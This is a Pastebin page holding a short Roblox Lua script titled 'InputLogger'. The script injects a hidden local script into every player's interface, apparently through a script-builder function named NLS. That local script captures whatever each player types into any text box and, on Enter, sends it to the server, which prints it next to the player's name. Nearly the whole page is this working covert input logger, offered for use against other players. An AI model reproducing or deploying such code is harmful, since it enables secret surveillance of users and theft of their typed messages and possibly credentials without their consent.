Advertisement
DrawingJhon

InputLogger

Feb 5th, 2024
1,096
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.77 KB | None | 0 0
  1. local Players = game:GetService("Players")
  2.  
  3. local remote = Instance.new("RemoteEvent")
  4. remote.Name = "TellMe"
  5. remote.Parent = game:GetService("ReplicatedStorage")
  6.  
  7. remote.OnServerEvent:Connect(function(player, text)
  8.     print("["..player.Name.."]: "..tostring(text))
  9. end)
  10.  
  11. local function handlePlayer(player)
  12.     NLS([==[
  13. local UIS = game:GetService("UserInputService")
  14. local remote = game:GetService("ReplicatedStorage"):WaitForChild("TellMe")
  15.  
  16. UIS.TextBoxFocused:Connect(function(textbox)
  17.     textbox.FocusLost:Once(function(enterPressed)
  18.         if enterPressed then
  19.             remote:FireServer(textbox.Text)
  20.         end
  21.     end)
  22. end)
  23. ]==], player.PlayerGui)
  24. end
  25.  
  26. for _, player in Players:GetPlayers() do
  27.     task.spawn(handlePlayer, player)
  28. end
  29.  
  30. Players.PlayerAdded:Connect(handlePlayer)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement